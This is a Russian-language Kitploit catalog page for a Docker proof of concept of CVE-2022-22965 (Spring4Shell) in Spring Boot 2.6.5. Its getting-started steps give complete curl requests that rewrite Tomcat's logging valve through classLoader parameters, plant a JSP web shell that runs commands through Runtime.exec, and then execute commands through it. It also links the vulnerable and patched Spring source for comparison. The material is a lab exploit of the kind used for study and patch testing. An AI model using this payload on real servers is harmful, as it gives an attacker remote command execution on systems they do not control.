Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-22965 — Docker PoC для CVE-2022-22965 с Spring Boot версии 2.6.5 | Kitploit
Инструменты/GitHubGitHub/itsecurityco/cve-2022-22965
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubitsecurityco/cve-2022-22965

CVE-2022-22965

Docker PoC для CVE-2022-22965 с Spring Boot версии 2.6.5

Репозиторий
1634 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Spring Boot CVE-2022-22965

Docker PoC для CVE-2022-22965 с Spring Boot версии 2.6.5

Shell

🚀 Начало работы

  1. Загрузите дистрибутив с https://github.com/itsecurityco/CVE-2022-22965/archive/refs/heads/master.zip и распакуйте его.
  2. Выполните docker compose up --build, чтобы собрать и запустить уязвимое приложение.
  3. Выполните curl -H "Accept: text/html;" "http://localhost:8080/demo/itsecurityco?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%63%6f%64%65%7d%69&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=", чтобы изменить конфигурацию клапана Tomcat.
  4. Выполните curl -H "Accept: text/html;" -H "code: <% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(String.valueOf(1337))).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1) { out.println(new String(b)); } %>" "http://localhost:8080/demo/x", чтобы создать веб-шелл.
  5. Откройте браузер и перейдите по адресу http://localhost:8080/shell.jsp?1337=id, чтобы начать выполнение команд.

🔎 Версия исправления

Исходный код Spring Framework 5.3.17 (уязвимая версия) и Spring Framework 5.3.18 (исправленная) можно загрузить соответственно с:

  • https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.17.zip
  • https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.18.zip
root@kitploit:~
$ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.17.zip
$ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.18.zip

Уязвимость находится в файле /spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java в строке 290, где применяется проверка для методов Class.getClassLoader() и getProtectionDomain(), но не для типов ClassLoader, ProtectionDomain и имён PropertyDescriptors.

Разницу между уязвимым и исправленным кодом можно получить с помощью команды diff.

root@kitploit:~
$ diff spring-framework-5.3.17/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java spring-framework-5.3.18/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java

Patch


Благодарности

  • Оригинальное исследование: @p1n93r
  • Благодарности: @fmunoz
Скачать инструмент